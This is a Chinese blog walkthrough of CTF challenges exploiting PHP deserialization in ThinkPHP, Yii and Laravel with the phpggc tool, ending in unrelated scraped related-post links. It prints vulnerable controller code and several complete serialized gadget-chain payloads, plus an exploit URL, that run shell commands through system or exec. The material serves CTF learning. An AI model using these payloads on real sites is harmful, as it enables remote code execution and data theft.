php反序列化 && ctf例题演示 框架安全(TP,Yii,Laravel)&& phpggc生成框架利用pop

前言

php反序列化的框架的利用的pop是非常难写的 并且 我们不知道他的利用方法

所以PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是frohoff的ysoserial的等价物,但是对于PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等。

https://github.com/ambionics/phpggc

使用方法也是非常简单 只需要动动手指 下载解压 拖到kali 之后进入目录 调用 php phpggc -l

查看方法即可

[安洵杯 2019]iamthinking thinkphp框架的反序列化

这个的提示就告诉我们是 个 简单的 thinkphp

框架知道了 就需要进行利用

这种反序列化的题 没有源码是做不了的 所以我们可以先进行网站的目录扫描 或者 是先试一下有没有网站的备份目录 www.zip 拿到 分析源码

拿到版本之后我们就进入他的主页寻找有没有反序列化的点

复制代码
    public function index()
    {
        
        echo "<img src='../test.jpg'"."/>";
        $paylaod = @$_GET['payload'];   // 传入点是 payload
        if(isset($paylaod))
        {
            $url = parse_url($_SERVER['REQUEST_URI']);
            parse_str($url['query'],$query);
            foreach($query as $value)
            {
                if(preg_match("/^O/i",$value))
                {
                    die('STOP HACKING');
                    exit();
                }
            }
            unserialize($paylaod);  //这里是个反序列化的利用  
        }
    }
} 

其实到这信息都有了 确认是tp框架造成的 因为框架的语言和原语言的差别还是很大的所以这个pop的构造我们只能使用 TP框架进行构造

还是老老实实当脚本小子

复制编码内容

复制代码
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3BN%3Bs%3A18%3A%22%00think%5CModel%00force%22%3BN%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3BN%3Bs%3A9%3A%22%00%2A%00suffix%22%3BN%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22cp+fla%2A+xx.txt%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3BN%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22cp+fla%2A+xx.txt%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3BN%3Bs%3A7%3A%22%00%2A%00json%22%3BN%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3BN%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D

因为这个匹配不是多次的所以只需要 多加几个 //就行

复制代码
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3BN%3Bs%3A18%3A%22%00think%5CModel%00force%22%3BN%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3BN%3Bs%3A9%3A%22%00%2A%00suffix%22%3BN%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3BN%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3BN%3Bs%3A7%3A%22%00%2A%00json%22%3BN%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3BN%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D

因为是有回显的所以就生成的时候直接 'cat fla*' 就行了

Yii框架的反序列化 ctfshow 267

这个有个坑坑就是 他不是直接给你源码的是一个源码泄露的点 但是我们现在不关心这个 我们需要的练习 yii的框架反序列化

复制代码
view-source:https://4dec4b03-e7e2-4921-8c85-4604d807af6a.challenge.ctf.show/index.php?r=site%2Fabout&view-source

一个这个点 是个源码泄露 ctrl u 查看源码

找到 yii 源码

拿到版本

工具找是否有可利用的版本

正好倒数后边两个是可以直接使用的 让工具为我们生成pop

看类型选择 我们选倒数第二个的原因就是 他是命令执行

复制代码
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXGRiXENvbm5lY3Rpb24iOjI6e3M6MzoicGRvIjtpOjE7czozOiJkc24iO086MjY6InlpaVxkYlxDb2x1bW5TY2hlbWFCdWlsZGVyIjoyOntzOjc6IgAqAHR5cGUiO3M6MToieCI7czoxMToiY2F0ZWdvcnlNYXAiO086MjI6InlpaVxjYWNoaW5nXEFycmF5Q2FjaGUiOjI6e3M6MTA6InNlcmlhbGl6ZXIiO2E6MTp7aToxO3M6Njoic3lzdGVtIjt9czozMDoiAHlpaVxjYWNoaW5nXEFycmF5Q2FjaGUAX2NhY2hlIjthOjE6e3M6MToieCI7YToyOntpOjA7czoyOiJscyI7aToxO2k6MDt9fX19fX0

搞了一下发现没有回显 那就生成一个 书写模式的

exec 'cp /fla* tt.txt' 执行这个命令

复制代码
https://4dec4b03-e7e2-4921-8c85-4604d807af6a.challenge.ctf.show/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXGRiXENvbm5lY3Rpb24iOjI6e3M6MzoicGRvIjtpOjE7czozOiJkc24iO086MjY6InlpaVxkYlxDb2x1bW5TY2hlbWFCdWlsZGVyIjoyOntzOjc6IgAqAHR5cGUiO3M6MToieCI7czoxMToiY2F0ZWdvcnlNYXAiO086MjI6InlpaVxjYWNoaW5nXEFycmF5Q2FjaGUiOjI6e3M6MTA6InNlcmlhbGl6ZXIiO2E6MTp7aToxO3M6NDoiZXhlYyI7fXM6MzA6IgB5aWlcY2FjaGluZ1xBcnJheUNhY2hlAF9jYWNoZSI7YToxOntzOjE6IngiO2E6Mjp7aTowO3M6MTU6ImNwIC9mbGEqIHR0LnR4dCI7aToxO2k6MDt9fX19fX0=

Laravel 框架漏洞 ctfshow 271

关键词触发 laravel 框架并且 有个反序列化

唯一的不足就是 我们不知道 他的版本

那就都试一下

复制代码
O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3Bs%3A2%3A%22ls%22%3B%7D

挨个找找就出 flag 了 应该是在 svg 里

总结

怎么辨别框架 : 1、最简单的就是

这个识别

2、就是根据源码的提示

除了识别这个之外 还要寻找版本

其次是寻找反序列化函数

相关推荐
Rverdoser15 分钟前
代理服务器运行速度慢是什么原因
开发语言·前端·php
森叶1 小时前
从 JIT 即时编译一直讲到CGI|FastGGI|WSGI|ASGI四种协议的实现细节
python·php·web
myusa23 小时前
使用阿里云CLI跨地域迁移ECS实例
数据库·阿里云·php
lally.1 天前
2025御网杯wp(web,misc,crypto)
前端·ctf
互联网搬砖老肖2 天前
运维打铁:服务器分类及PHP入门
运维·服务器·php
Mr.小怪2 天前
K8s网络从0到1
网络·kubernetes·php
剑哥在胡说2 天前
高并发PHP部署演进:从虚拟机到K8S的DevOps实践优化
kubernetes·php·devops
fakaifa2 天前
【开源版】likeshop上门家政系统PHP版全开源+uniapp前端
小程序·uni-app·php·家政小程序源码·家政服务小程序·源码下载·上门家政
从零开始学习人工智能3 天前
探索网络设备安全:Shodan 的原理与合法应用
网络·安全·php
橙色小博3 天前
Python中的re库详细用法与代码解析
linux·python·正则表达式·php·re